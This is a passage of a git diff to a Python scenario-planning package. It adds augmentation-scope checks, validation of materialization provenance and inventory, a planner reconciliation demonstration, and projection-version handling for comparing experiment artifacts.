source_scope, + ordinary_selection=_ordinary_selection(difference, original, request), + ) + if failures: + return AugmentationAdmission(report, failures) + return AugmentationAdmission(report, ()) + + +ScopeResolver = Callable[[str], tuple[str, tuple[str, ...]]] + + +def _scope_resolver(content: ScenarioContent) -> ScopeResolver: + value, profiles = content.model_dump(mode="json"), materialization_collection_profiles(content) + + @cache + def resolve(scope: str) -> tuple[str, tuple[str, ...]]: + canonical = canonical_semantic_address(scope, value, collection_profiles=profiles) + return canonical, semantic_scope_namespace(value, canonical) + + return resolve + + +def _canonical_policy(policy: AugmentationScopePolicy | None, resolve: ScopeResolver) -> AugmentationScopePolicy | None: + if policy is None: + return None + return AugmentationScopePolicy( + default=policy.default, + scopes=tuple(rule.model_copy(update={"scope": resolve(rule.scope)[0]}) for rule in policy.scopes), + ) + + +def _require_requirement_references(references: tuple[str, ...], resolve: ScopeResolver) -> None: + for reference in references: + if reference == "backend-operational": + continue + tokens = reference.split("/") + if len(tokens) != 3 or tokens[1] not in {"evidence_requirements", "objectives", "assertions", "propositions"}: + raise ValueError("augmentation requirement must name an admitted requirement") + resolve(reference) + + +def _scope_decision( + policy: AugmentationScopePolicy | None, + location: str, + namespace: tuple[str, ...], + source_scope: ScopeResolver, +) -> AugmentationScopeDecision: + decision = effective_augmentation_scope(policy, location, namespace=namespace) + if policy is None or decision.permission == "closed": + return decision + for rule in policy.scopes: + if semantic_address_contains(location, rule.scope): + child = effective_augmentation_scope(policy, rule.scope, namespace=source_scope(rule.scope)[1]) + if child.permission == "closed": + return child + return decision + + +def _effect_diagnostics( + effect: AugmentationEffect, + difference: MaterializationOrigin, + locations: tuple[tuple[str, tuple[str, ...]], ...], + policy: AugmentationScopePolicy | None, + source_scope: ScopeResolver, + *, + ordinary_selection: bool, +) -> tuple[Diagnostic, ...]: + for location, namespace in locations: + if location == difference.field_pointer and ordinary_selection: + continue + decision = _scope_decision(policy, location, namespace, source_scope) + if decision.permission == "closed": + return tuple( + Diagnostic( + code="augmentation.scope-closed", + domain="augmentation", + address=difference.field_pointer, + message=( + f"Requirement {reference[:120]} needs {difference.change} {difference.field_pointer[:160]}; " + f"augmentation scope {decision.governing_scope[:120] or '/'} is closed." + ), + ) + for reference in effect.requirement_refs + ) + return () + + +def _ordinary_selection( + difference: MaterializationOrigin, + original: ScenarioContent, + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, +) -> bool: + """Selecting a delegated platform is not installing apparatus or content.""" + if difference.change != "selected": + return False + ordinary = {"os-family", "os-distribution", "os-version", "node-architecture", "node-type", "content-type"} + for registered in registered_realization_concern_descriptors( + declaration_names={"nodes": original.nodes, "content": original.content} + ): + descriptor = registered.descriptor + pointer = "/" + "/".join( + token.replace("~", "~0").replace("/", "~1") + for token in (descriptor.section, registered.declaration_name, *descriptor.authored_path) + ) + if descriptor.concern_kind in ordinary and pointer == difference.field_pointer: + return any( + authority.field_path == registered.field_path + and authority.mode in {RealizationAuthorityMode.OPEN, RealizationAuthorityMode.CONSTRAINED} + for authority in getattr(request, "realization_authority", ()) + ) + return False diff --git a/implementations/python/packages/raes_processor/planner/core.py b/implementations/python/packages/raes_processor/planner/core.py index a5996cafa..d1480a406 100644 --- a/implementations/python/packages/raes_processor/planner/core.py +++ b/implementations/python/packages/raes_processor/planner/core.py @@ -37,6 +37,7 @@ resolve_apparatus_realization_defaults, ) from .manifest_validation import _validate_manifest +from .materialization import planned_materialization_source from .operations import ( _build_evaluation_plan, _build_operations, @@ -384,6 +385,34 @@ def plan( ), ) + if model.materialization_description is not None: + provisioning = replace(provisioning, purpose="inspection") + orchestration = replace(orchestration, purpose="inspection") + evaluation = replace(evaluation, purpose="inspection") + source, source_diagnostics = planned_materialization_source(model, manifest, scope) + diagnostics.extend(source_diagnostics) + scope_required = ( + model.realization_instance is not None and model.realization_instance.augmentation_scope is not None + ) + provisioning = replace( + provisioning, + materialization_source=source, + augmentation_scope_required=scope_required, + diagnostics=[*provisioning.diagnostics, *source_diagnostics], + ) + orchestration = replace( + orchestration, + materialization_source=source, + augmentation_scope_required=scope_required, + diagnostics=[*orchestration.diagnostics, *source_diagnostics], + ) + evaluation = replace( + evaluation, + materialization_source=source, + augmentation_scope_required=scope_required, + diagnostics=[*evaluation.diagnostics, *source_diagnostics], + ) + return ExecutionPlan( target_name=target_name, manifest=manifest, diff --git a/implementations/python/packages/raes_processor/planner/materialization.py b/implementations/python/packages/raes_processor/planner/materialization.py new file mode 100644 index 000000000..f02a57722 --- /dev/null +++ b/implementations/python/packages/raes_processor/planner/materialization.py @@ -0,0 +1,58 @@ +"""Retain authenticated full SDL context for negotiated materialization results.""" + +from raes import canonical_instantiated_sdl_bytes, canonical_instantiated_sdl_digest +from raes_backend_protocols.capabilities import BackendManifest +from raes_contracts.augmentation_scope import AUGMENTATION_SCOPE_CONTRACT +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.materialization import MATERIALIZATION_ATTESTATION_CONTRACT, MaterializationSource +from raes_contracts.planning import PlanScope + +from ..models import RuntimeModel + + +def planned_materialization_source( + model: RuntimeModel, + manifest: BackendManifest, + scope: PlanScope | None, +) -> tuple[MaterializationSource | None, list[Diagnostic]]: + """Bind descriptive output to its original input, never reconstruct from resources.""" + instance = model.realization_instance + required = instance is not None and instance.augmentation_scope is not None + diagnostics = [] + if required and not {AUGMENTATION_SCOPE_CONTRACT, MATERIALIZATION_ATTESTATION_CONTRACT}.issubset( + manifest.supported_contract_versions + ): + diagnostics.append( + Diagnostic( + code="augmentation.scope-unsupported", + domain="augmentation", + address="/augmentation_scope", + message=( + "Explicit augmentation permission requires negotiated scope enforcement " + "and materialization reporting." + ), + ) + ) + if ( + MATERIALIZATION_ATTESTATION_CONTRACT not in manifest.supported_contract_versions and not required + ) or model.materialization_description is not None: + return None, diagnostics + try: + if instance is None or scope is None or scope.run_id is None: + raise ValueError("missing source or run") + return MaterializationSource( + snapshot=canonical_instantiated_sdl_bytes(instance).decode("utf-8"), + authored_digest=instance.instantiation_provenance.authored_digest.value, + instantiated_digest=canonical_instantiated_sdl_digest(instance).value, + run_id=scope.run_id, + ), diagnostics + except (TypeError, ValueError): + diagnostics.append( + Diagnostic( + code="materialization.source-context-required", + domain="materialization", + address="materialization.source", + message="Materialization reporting requires the admitted full source and a safe run identity.", + ) + ) + return None, diagnostics diff --git a/implementations/python/packages/raes_processor/planner/materialization_admission.py b/implementations/python/packages/raes_processor/planner/materialization_admission.py new file mode 100644 index 000000000..ea438f637 --- /dev/null +++ b/implementations/python/packages/raes_processor/planner/materialization_admission.py @@ -0,0 +1,277 @@ +"""Admit a descriptive SDL result without changing original realization authority.""" + +from __future__ import annotations + +import hashlib +from dataclasses import replace +from typing import TypeAlias + +from raes import ( + MaterializedScenario, + admit_instantiated_scenario, + canonical_materialized_sdl_digest, + parse_sdl, + render_sdl_source, +) +from raes.materialization_provenance import MaterializedResourceBinding +from raes.scenario import InstantiatedScenario +from raes_backend_protocols.manifest import BackendManifest, backend_manifest_v2_model +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts.materialization_attestation import MaterializationArchiveRecord +from raes_contracts.json_ingress import parse_bounded_json_object +from raes_contracts.materialization import ( + MATERIALIZATION_MAX_BYTES, + MaterializationSource, + MaterializationSubmission, + require_materialization_records, +) +from raes_contracts.plan_projection import runtime_plan_digest +from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, PlannedResource, ProvisioningPlan, RuntimeDomain +from raes_contracts.realization_preparation import preparation_snapshot_digest +from raes_contracts.runtime_state import RuntimeSnapshot, SnapshotEntry + +from ..compiler import compile_runtime_model, validate_materialization_origins +from ..compiler.materialization_origins import materialization_node_payloads_match +from ..models import RuntimeModel +from .ordering import _entry_matches_resource +from .resources import _collect_resources + +MaterializationPlan: TypeAlias = ProvisioningPlan | OrchestrationPlan | EvaluationPlan + + +def admit_materialization_submission( + submission: MaterializationSubmission, + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, + manifest: BackendManifest, + previous: RuntimeSnapshot, + actual: RuntimeSnapshot, +) -> MaterializationSubmission: + """Check source, execution binding, origins and complete scoped inventory.""" + submission = MaterializationSubmission.model_validate(submission.model_dump(mode="json")) + if request.materialization_source is None: + raise ValueError("materialization requires trusted source context") + source = MaterializationSource.model_validate(request.materialization_source.model_dump(mode="json")) + source_payload = parse_bounded_json_object(source.snapshot, max_bytes=MATERIALIZATION_MAX_BYTES) + original = admit_instantiated_scenario(source_payload["scenario"]) + materialized = parse_sdl(submission.sdl) + if not isinstance(materialized, MaterializedScenario): + raise ValueError("materialization requires descriptive SDL") + _validate_binding(materialized, source, request, manifest, previous) + validate_materialization_origins(original, materialized) + _validate_inventory(materialized, original, request, previous, actual) + return MaterializationSubmission(sdl=render_sdl_source(materialized).content) + + +def _validate_binding( + materialized: MaterializedScenario, + source: MaterializationSource, + request: MaterializationPlan, + manifest: BackendManifest, + previous: RuntimeSnapshot, +) -> None: + provenance = materialized.materialization_provenance + envelope = manifest.realization_envelope + if envelope is None: + raise ValueError("materialization does not bind this source and execution") + described = ( + provenance.authored_digest.value, + provenance.instantiated_digest.value, + provenance.plan_digest, + provenance.predecessor_digest, + provenance.operation_id, + provenance.run_id, + provenance.producer.name, + provenance.producer.version, + provenance.producer.configuration_digest, + provenance.producer.manifest_digest, + ) + expected = ( + source.authored_digest, + source.instantiated_digest, + runtime_plan_digest(request), + preparation_snapshot_digest(previous), + request.operation_id, + source.run_id, + manifest.name, + manifest.version, + envelope.configuration.configuration_digest, + canonical_json_digest(backend_manifest_v2_model(manifest).model_dump(mode="json")), + ) + if described != expected: + raise ValueError("materialization does not bind this source and execution") + + +def _inventory_resources( + compiled: RuntimeModel, request: MaterializationPlan, previous: RuntimeSnapshot +) -> dict[str, PlannedResource]: + """Retain planner metadata from admitted operations or the trusted predecessor. + + These projections are not SDL facts. Never take them from the description + or returned inventory: current selections come from the prepared operation, + and later phases retain the predecessor's completed selections and scope. + """ + from .core import _apply_regeneration_scope_bindings + + resources = _collect_resources(compiled) + operations = {operation.address: operation for operation in request.operations} + for address, resource in resources.items(): + context = operations.get(address) or previous.get(address) + if context is None: + continue + payload = resource.payload + if resource.resource_type == "generated-artifact" and "scope_binding" in context.payload: + payload = {**payload, "scope_binding": context.payload["scope_binding"]} + resources[address] = replace( + resource, payload=payload, profile_bindings=getattr(context, "profile_bindings", ()) + ) + if isinstance(request, ProvisioningPlan): + resources, diagnostics = _apply_regeneration_scope_bindings( + resources, run_id=request.run_id, instantiation_id=request.instantiation_id + ) + if diagnostics: + raise ValueError("materialization inventory lacks admitted regeneration scope") + return resources + + +def _validate_inventory( + materialized: MaterializedScenario, + original: InstantiatedScenario, + request: MaterializationPlan, + previous: RuntimeSnapshot, + actual: RuntimeSnapshot, +) -> None: + compiled = compile_runtime_model(materialized) + resources = _inventory_resources(compiled, request, previous) + domains = { + ProvisioningPlan: RuntimeDomain.PROVISIONING, + OrchestrationPlan: RuntimeDomain.ORCHESTRATION, + EvaluationPlan: RuntimeDomain.EVALUATION, + } + domain = domains[type(request)] + _validate_current_scope(resources, actual, domain) + _validate_other_scopes(resources, compile_runtime_model(original), request, previous, actual, domain) + _validate_node_bindings(materialized, original, resources) + + +def _validate_current_scope( + resources: dict[str, PlannedResource], actual: RuntimeSnapshot, domain: RuntimeDomain +) -> None: + expected = _resources_for_domain(resources, domain) + observed = actual.for_domain(domain) + if expected.keys() != observed.keys() or any( + not _materialized_entry_matches(observed[address], resource) for address, resource in expected.items() + ): + raise ValueError("materialization inventory does not match the complete returned scope") + + +def _resources_for_domain(resources: dict[str, PlannedResource], domain: RuntimeDomain) -> dict[str, PlannedResource]: + return {address: resource for address, resource in resources.items() if resource.domain == domain} + + +def _validate_other_scopes( + resources: dict[str, PlannedResource], + original_model: RuntimeModel, + request: MaterializationPlan, + previous: RuntimeSnapshot, + actual: RuntimeSnapshot, + domain: RuntimeDomain, +) -> None: + original_resources = _inventory_resources(original_model, request, previous) + for other_domain in RuntimeDomain: + if other_domain == domain: + continue + previous_scope = actual.for_domain(other_domain) or _resources_for_domain(original_resources, other_domain) + described_scope = _resources_for_domain(resources, other_domain) + if previous_scope.keys() != described_scope.keys() or any( + not ( + _entry_matches_resource(previous_scope[address], resource, original_model.realization_requirements) + or _materialized_entry_matches(previous_scope[address], resource) + ) + for address, resource in described_scope.items() + ): + raise ValueError("materialization cannot invent or omit effects outside its operation domain") + + +def _validate_binding_origin(binding: MaterializedResourceBinding, original: InstantiatedScenario) -> None: + if binding.node_name in original.nodes: + if binding.source_node != binding.node_name: + raise ValueError("materialization inventory changed an authored resource identity") + elif binding.source_node is not None: + raise ValueError("materialization inventory has an invalid added resource origin") + + +def _validate_node_bindings( + materialized: MaterializedScenario, original: InstantiatedScenario, resources: dict[str, PlannedResource] +) -> None: + bindings = materialized.materialization_provenance.resource_bindings + if {binding.node_name for binding in bindings} != materialized.nodes.keys(): + raise ValueError("materialization inventory lacks complete node bindings") + instances: dict[str, set[int | None]] = {} + for binding in bindings: + resource = resources.get(binding.address) + if resource is None or resource.payload.get("name") != binding.node_name: + raise ValueError("materialization inventory has a mismatched resource binding") + _validate_binding_origin(binding, original) + instances.setdefault(binding.address, set()).add(binding.instance_index) + _validate_instance_indices(resources, instances, len(bindings)) + + +def _validate_instance_indices( + resources: dict[str, PlannedResource], instances: dict[str, set[int | None]], binding_count: int +) -> None: + for address, indices in instances.items(): + count = resources[address].payload.get("count") or 1 + if count > binding_count or (indices != set(range(count)) and not (count == 1 and indices == {None})): + raise ValueError("materialization inventory must bind every realized instance exactly once") + + +def _materialized_entry_matches(entry: SnapshotEntry | PlannedResource, resource: PlannedResource) -> bool: + if resource.resource_type == "node": + expected_spec, observed_spec = resource.payload.get("spec"), entry.payload.get("spec") + if not isinstance(expected_spec, dict) or not isinstance(observed_spec, dict): + return False + if not materialization_node_payloads_match( + resource.payload["name"], expected_spec.get("node"), observed_spec.get("node") + ): + return False + entry = replace(entry, payload={**entry.payload, "spec": {**observed_spec, "node": expected_spec["node"]}}) + return _entry_matches_resource(entry, resource) + + +def validate_materialization_archive_record( + submission: MaterializationSubmission, record: MaterializationArchiveRecord +) -> None: + """An archive adapter cannot substitute different bytes or semantic lineage.""" + require_materialization_records((record,)) + scenario = parse_sdl(submission.sdl) + if not isinstance(scenario, MaterializedScenario): + raise ValueError("materialization archive requires descriptive SDL") + provenance = scenario.materialization_provenance + data = submission.sdl.encode("utf-8") + recorded = ( + record.run_id, + record.operation_id, + record.reference.ref_id, + record.reference.ref_digest, + record.reference.ref_path, + record.artifact.checksum.value, + record.artifact.size_bytes, + record.artifact.source, + record.artifact.created_at, + ) + expected = ( + provenance.run_id, + provenance.operation_id, + provenance.attestation_id, + canonical_materialized_sdl_digest(scenario).value, + f"runs/{provenance.run_id}/attestations/{provenance.attestation_id}.sdl", + hashlib.sha256(data).hexdigest(), + len(data), + provenance.producer.name, + provenance.recorded_at.isoformat(), + ) + if recorded != expected: + raise ValueError("materialization archive record does not bind the admitted result") + + +__all__ = ["admit_materialization_submission", "validate_materialization_archive_record"] diff --git a/implementations/python/packages/raes_processor/reconciliation_demonstration.py b/implementations/python/packages/raes_processor/reconciliation_demonstration.py new file mode 100644 index 000000000..4d7f6a4ec --- /dev/null +++ b/implementations/python/packages/raes_processor/reconciliation_demonstration.py @@ -0,0 +1,303 @@ +"""Runnable demonstration of planner reconciliation across scenario versions. + +Plans a baseline scenario, projects its planned state into a +:class:`~raes_contracts.runtime_state.RuntimeSnapshot`, then plans a modified +version against that snapshot and reports the resulting +``create``/``update``/``delete``/``unchanged`` actions. + +The projected snapshot is **synthetic assumed state**. It is not backend +readback, an instantiated SDL snapshot, a durable checkpoint, an execution +receipt, or proof that anything was realized. Nothing here applies, provisions, +or starts a scenario. + +Reconciliation itself stays where it already lives: this module composes +:func:`raes_processor.reference.run_reference_processor` and consumes the +planner's own operations. It never re-derives actions by comparing payloads, +which is the only way ``unchanged`` and refresh-driven ``update`` stay honest. +""" + +from __future__ import annotations + +from collections.abc import Mapping +from copy import deepcopy +from dataclasses import dataclass +from enum import Enum + +from raes import SDLError +from raes_backend_protocols.capabilities import BackendManifest +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.planning import ChangeAction, PlannedResource, PlanOperation, PlanScope, RuntimeDomain +from raes_contracts.runtime_state import RuntimeSnapshot, SnapshotEntry + +from raes_processor.models import ExecutionPlan +from raes_processor.reference import ReferenceProcessorResult, ScenarioInput, run_reference_processor + +__all__ = [ + "PLANNED_STATE_PROJECTION", + "ReconciledOperation", + "ReconciliationDemonstration", + "ReconciliationInputError", + "ReconciliationStatus", + "ScenarioVersion", + "ScenarioVersionRejected", + "planned_state_snapshot", + "reconcile_scenario_versions", +] + +#: Entry status, and the reported snapshot kind, for projected planned state. +#: Deliberately not ``applied`` or ``ready``: no backend ran. +PLANNED_STATE_PROJECTION = "planned-state-projection" + + +class ReconciliationInputError(ValueError): + """The demonstration was handed input outside its narrow contract.""" + + +class ScenarioVersion(str, Enum): + """Which of the two compared versions a result or failure belongs to.""" + + BASELINE = "baseline" + CANDIDATE = "candidate" + + +class ScenarioVersionRejected(ReconciliationInputError): + """One version could not be carried as far as a plan. + + Wraps the underlying :class:`raes.SDLError` and names the version that + raised it, so a caller can report the failure against the right source + without re-parsing either input. The message names the version only; the + cause is carried untouched for a caller that knows how to render it safely. + """ + + def __init__(self, version: ScenarioVersion, cause: SDLError) -> None: + super().__init__(f"{version.value} scenario version was rejected") + self.version = version + self.cause = cause + + +class ReconciliationStatus(str, Enum): + """How far the demonstration got before a version was rejected.""" + + #: Both versions planned without error diagnostics. + RECONCILED = "reconciled" + #: The baseline was rejected; no snapshot was projected and the candidate + #: was never planned, so there is no action report at all. + BASELINE_REJECTED = "baseline_rejected" + #: The candidate planned with error diagnostics. Its operations are + #: reported, as the plan surface already does, but the run is not a success. + CANDIDATE_REJECTED = "candidate_rejected" + + +@dataclass(frozen=True) +class ReconciledOperation: + """One planned resource's reconciliation outcome. + + Identity and action only. Resource payloads are deliberately absent: they + carry authored credentials and content, and the reconciliation question is + answered without disclosing them. + """ + + domain: RuntimeDomain + address: str + resource_type: str + action: ChangeAction + + +@dataclass(frozen=True) +class ReconciliationDemonstration: + """Outcome of planning one scenario version against another's planned state.""" + + status: ReconciliationStatus + baseline_scenario_name: str + baseline_diagnostics: tuple[Diagnostic, ...] + baseline_snapshot: RuntimeSnapshot | None + candidate_scenario_name: str | None + candidate_diagnostics: tuple[Diagnostic, ...] + operations: tuple[ReconciledOperation, ...] | None + + @property + def action_counts(self) -> Mapping[ChangeAction, int] | None: + """Every action's count, including the ones that did not occur. + + ``None`` rather than four zeros when no candidate was planned, so a + rejected baseline cannot be read as "no changes". + """ + + if self.operations is None: + return None + counts = dict.fromkeys(ChangeAction, 0) + for operation in self.operations: + counts[operation.action] += 1 + return counts + + +def _domain_plans( + execution_plan: ExecutionPlan, +) -> tuple[tuple[RuntimeDomain, tuple[PlanOperation, ...], Mapping[str, PlannedResource]], ...]: + return tuple( + (domain, tuple(domain_plan.operations), domain_plan.resources) + for domain, domain_plan in ( + (RuntimeDomain.PROVISIONING, execution_plan.provisioning), + (RuntimeDomain.ORCHESTRATION, execution_plan.orchestration), + (RuntimeDomain.EVALUATION, execution_plan.evaluation), + ) + ) + + +def planned_state_snapshot(execution_plan: ExecutionPlan) -> RuntimeSnapshot: + """Project a plan's non-delete operations into assumed runtime state. + + Only sound for a plan reconciled against an empty snapshot: delete + operations are skipped, which would silently retain removed resources if + the plan had carried an existing baseline forward. This is a narrow + demonstration adapter, not a general operation-replay engine, so that case + fails closed rather than producing a plausible-looking snapshot. + + Every field ``planner.ordering._entry_matches_resource`` compares is + carried across -- domain, resource type, payload, both dependency sets, and + profile bindings -- so replanning the same scenario against the projection + reconciles as ``unchanged``. Profile bindings come from the planned + resource because only provisioning operations carry them. Payloads are + deep-copied so inspecting or mutating the snapshot cannot reach back into + the plan. + """ + + if execution_plan.base_snapshot.entries: + raise ReconciliationInputError("planned-state projection requires a plan reconciled against an empty snapshot") + + entries: dict[str, SnapshotEntry] = {} + for domain, operations, resources in _domain_plans(execution_plan): + for operation in operations: + if operation.action == ChangeAction.DELETE: + continue + resource = resources.get(operation.address) + entries[operation.address] = SnapshotEntry( + address=operation.address, + domain=domain, + resource_type=operation.resource_type, + payload=deepcopy(operation.payload), + ordering_dependencies=operation.ordering_dependencies, + refresh_dependencies=operation.refresh_dependencies, + status=PLANNED_STATE_PROJECTION, + profile_bindings=() if resource is None else resource.profile_bindings, + ) + return RuntimeSnapshot(entries=entries) + + +def _reconciled_operations(execution_plan: ExecutionPlan) -> tuple[ReconciledOperation, ...]: + """Flatten every domain's operations, keeping the planner's own ordering. + + Each domain plan already orders applies topologically and deletes in + reverse, and it reports ``unchanged`` operations that + ``actionable_operations`` filters out. Both properties are what makes the + listing a faithful picture of reconciliation, so neither is re-derived. + """ + + return tuple( + ReconciledOperation( + domain=domain, + address=operation.address, + resource_type=operation.resource_type, + action=operation.action, + ) + for domain, operations, _ in _domain_plans(execution_plan) + for operation in operations + ) + + +def _planned_version( + version: ScenarioVersion, + scenario: ScenarioInput, + backend_manifest: BackendManifest, + *, + parameters: Mapping[str, object] | None, + profile: str | None, + base_snapshot: RuntimeSnapshot | None, + scope: PlanScope | None, +) -> ReferenceProcessorResult: + try: + return run_reference_processor( + scenario, + backend_manifest, + parameters=parameters, + profile=profile, + base_snapshot=base_snapshot, + scope=scope, + ) + except SDLError as exc: + raise ScenarioVersionRejected(version, exc) from exc + + +def _rejected_baseline(baseline: ReferenceProcessorResult) -> ReconciliationDemonstration: + return ReconciliationDemonstration( + status=ReconciliationStatus.BASELINE_REJECTED, + baseline_scenario_name=baseline.scenario_name, + baseline_diagnostics=tuple(baseline.diagnostics), + baseline_snapshot=None, + candidate_scenario_name=None, + candidate_diagnostics=(), + operations=None, + ) + + +def reconcile_scenario_versions( + baseline: ScenarioInput, + candidate: ScenarioInput, + backend_manifest: BackendManifest, + *, + parameters: Mapping[str, object] | None = None, + profile: str | None = None, + scope: PlanScope | None = None, +) -> ReconciliationDemonstration: + """Plan ``candidate`` against ``baseline``'s planned state and report the actions. + + Both versions are planned against the same manifest, instantiation + parameters, profile, and plan scope. Varying those between the two rounds + would change actions for reasons unrelated to the authored difference -- + generated values with per-run or per-instantiation regeneration depend on + scope identity -- so the comparison deliberately holds them fixed. + + ``baseline`` and ``candidate`` are :data:`ScenarioInput` values. A + :class:`~pathlib.Path` is read as an SDL file; a plain :class:`str` is SDL + text, not a filename. + + An invalid baseline stops the run before any snapshot is projected: there + is no trustworthy planned state to reconcile against. An invalid candidate + still reports its operations, matching the plan surface, but never reports + as a success. A version that cannot be carried to a plan at all raises + :class:`ScenarioVersionRejected`, which names the offending version. + """ + + baseline_result = _planned_version( + ScenarioVersion.BASELINE, + baseline, + backend_manifest, + parameters=parameters, + profile=profile, + base_snapshot=None, + scope=scope, + ) + if not baseline_result.is_valid: + return _rejected_baseline(baseline_result) + + snapshot = planned_state_snapshot(baseline_result.execution_plan) + candidate_result = _planned_version( + ScenarioVersion.CANDIDATE, + candidate, + backend_manifest, + parameters=parameters, + profile=profile, + base_snapshot=snapshot, + scope=scope, + ) + return ReconciliationDemonstration( + status=( + ReconciliationStatus.RECONCILED if candidate_result.is_valid else ReconciliationStatus.CANDIDATE_REJECTED + ), + baseline_scenario_name=baseline_result.scenario_name, + baseline_diagnostics=tuple(baseline_result.diagnostics), + baseline_snapshot=snapshot, + candidate_scenario_name=candidate_result.scenario_name, + candidate_diagnostics=tuple(candidate_result.diagnostics), + operations=_reconciled_operations(candidate_result.execution_plan), + ) diff --git a/implementations/python/packages/raes_processor/semantic_comparison_adapters.py b/implementations/python/packages/raes_processor/semantic_comparison_adapters.py index b9d8c7bdf..ed052616b 100644 --- a/implementations/python/packages/raes_processor/semantic_comparison_adapters.py +++ b/implementations/python/packages/raes_processor/semantic_comparison_adapters.py @@ -219,8 +219,14 @@ def project_artifact( scenario_version = profile.owner_projection_versions[ArtifactKind.SCENARIO] if type(artifact) is Scenario and scenario_version != "2": raise ValueError("current SDL requires scenario projection version 2, including untagged source") - if type(artifact) is ExperimentTaskModel and profile.owner_projection_versions[ArtifactKind.TASK] != "2": - raise ValueError("current tasks require task projection version 2") + current_revision_two = { + ExperimentTaskModel: ArtifactKind.TASK, + ExperimentRunModel: ArtifactKind.RUN, + ExperimentStudyModel: ArtifactKind.STUDY, + } + required_kind = current_revision_two.get(type(artifact)) + if required_kind is not None and profile.owner_projection_versions[required_kind] != "2": + raise ValueError(f"current {required_kind.value} artifacts require projection version 2") coordinate = coordinate_for_artifact( artifact, exact_representation=expected.exact_representation, scenario_projection_version=scenario_version ) @@ -232,7 +238,9 @@ def project_artifact( root = _Subject( identity=coordinate.canonical_identity, representation_digest=(expected.exact_representation.byte_digest if expected.exact_representation else None), - structural_digest=canonical_json_digest(_owner_structural_payload(artifact)), + structural_digest=canonical_json_digest( + _owner_structural_payload(artifact, projection_version=projection_version) + ), semantic_digest=canonical_json_digest(_owner_semantic_payload(artifact, projection_version=projection_version)), structural_profile=structural_profile, semantic_profile=semantic_profile, diff --git a/implementations/python/packages/raes_processor/semantic_comparison_projections.py b/implementations/python/packages/raes_processor/semantic_comparison_projections.py index 32253d8ed..9ac79368a 100644 --- a/implementations/python/packages/raes_processor/semantic_comparison_projections.py +++ b/implementations/python/packages/raes_processor/semantic_comparison_projections.py @@ -84,11 +84,11 @@ def _owner_semantic_payload(artifact: ArtifactForProjection, *, projection_versi elif isinstance(artifact, ExperimentTaskModel): payload = _task_semantic_payload(artifact, projection_version) elif isinstance(artifact, ExperimentRunModel): - payload = _run_semantic_payload(artifact) + payload = _run_semantic_payload(artifact, projection_version) elif isinstance(artifact, ExperimentCaptureSpecModel): payload = _capture_spec_semantic_payload(artifact) elif isinstance(artifact, ExperimentStudyModel): - payload = _study_semantic_payload(artifact) + payload = _study_semantic_payload(artifact, projection_version) elif isinstance(artifact, ExternalConceptBindingDocumentModel): payload = {"bindings": artifact.model_dump(mode="json", include={"bindings"})["bindings"]} if payload is None: @@ -138,7 +138,7 @@ def _module_semantic_payload(artifact: ResolvedImportProvenance) -> object: def _task_semantic_payload(artifact: ExperimentTaskModel, version: str = "1") -> object: - return artifact.model_dump( + payload = artifact.model_dump( mode="json", include={ "schema_version", @@ -157,10 +157,13 @@ def _task_semantic_payload(artifact: ExperimentTaskModel, version: str = "1") -> } | ({"observation_demands"} if version == "2" else set()), ) + if version == "2": + payload["evidence_requirement_relations"] = _relation_semantics(artifact) + return payload -def _run_semantic_payload(artifact: ExperimentRunModel) -> object: - return artifact.model_dump( +def _run_semantic_payload(artifact: ExperimentRunModel, version: str = "1") -> object: + payload = artifact.model_dump( mode="json", include={ "schema_version", @@ -195,6 +198,9 @@ def _run_semantic_payload(artifact: ExperimentRunModel) -> object: "validation_basis_disclosures", }, ) + if version == "2": + payload["evidence_requirement_relations"] = _relation_semantics(artifact) + return payload def _capture_spec_semantic_payload(artifact: ExperimentCaptureSpecModel) -> object: @@ -213,7 +219,7 @@ def _capture_spec_semantic_payload(artifact: ExperimentCaptureSpecModel) -> obje ) -def _study_semantic_payload(artifact: ExperimentStudyModel) -> object: +def _study_semantic_payload(artifact: ExperimentStudyModel, version: str = "1") -> object: payload = artifact.model_dump( mode="json", include={ @@ -234,13 +240,15 @@ def _study_semantic_payload(artifact: ExperimentStudyModel) -> object: "validation_basis_disclosures", }, ) + if version == "2": + payload["evidence_requirement_relations"] = _relation_semantics(artifact) payload["membership"] = { key: _study_member_semantics(member) for key, member in sorted(artifact.membership.items()) } return payload -def _owner_structural_payload(artifact: ArtifactForProjection) -> object: +def _owner_structural_payload(artifact: ArtifactForProjection, *, projection_version: str = "1") -> object: """Return a closed owner-specific shape projection, not a recursive JSON shape.""" payload: object | None = None @@ -249,13 +257,13 @@ def _owner_structural_payload(artifact: ArtifactForProjection) -> object: elif isinstance(artifact, ResolvedImportProvenance): payload = _module_structural_payload(artifact) elif isinstance(artifact, ExperimentTaskModel): - payload = _task_structural_payload(artifact) + payload = _task_structural_payload(artifact, projection_version) elif isinstance(artifact, ExperimentRunModel): - payload = _run_structural_payload(artifact) + payload = _run_structural_payload(artifact, projection_version) elif isinstance(artifact, ExperimentCaptureSpecModel): payload = _capture_spec_structural_payload(artifact) elif isinstance(artifact, ExperimentStudyModel): - payload = _study_structural_payload(artifact) + payload = _study_structural_payload(artifact, projection_version) elif isinstance(artifact, ExternalConceptBindingDocumentModel): payload = _external_bindings_structural_payload(artifact) if payload is None: @@ -283,18 +291,38 @@ def _module_structural_payload(artifact: ResolvedImportProvenance) -> object: } -def _task_structural_payload(artifact: ExperimentTaskModel) -> object: - return { +def _relation_structure(artifact: ExperimentTaskModel | ExperimentRunModel | ExperimentStudyModel) -> list[object]: + return [ + relation.model_dump( + mode="json", + include={"relation_id", "relation_kind", "scope", "refinement_dimensions"}, + ) + for relation in sorted(artifact.evidence_requirement_relations, key=lambda item: item.relation_id) + ] + + +def _relation_semantics(artifact: ExperimentTaskModel | ExperimentRunModel | ExperimentStudyModel) -> list[object]: + return [ + relation.model_dump(mode="json") + for relation in sorted(artifact.evidence_requirement_relations, key=lambda item: item.relation_id) + ] + + +def _task_structural_payload(artifact: ExperimentTaskModel, version: str = "1") -> object: + payload = { "scenario_reference_kind": artifact.scenario_ref.ref_kind, "evaluation_protocol_fields": sorted(artifact.evaluation_protocol.model_fields_set), "non_use_count": len(artifact.non_use), "artifact_ref_count": len(artifact.artifact_refs), "validation_basis_count": len(artifact.validation_basis_disclosures), } + if version == "2": + payload["evidence_requirement_relations"] = _relation_structure(artifact) + return payload -def _run_structural_payload(artifact: 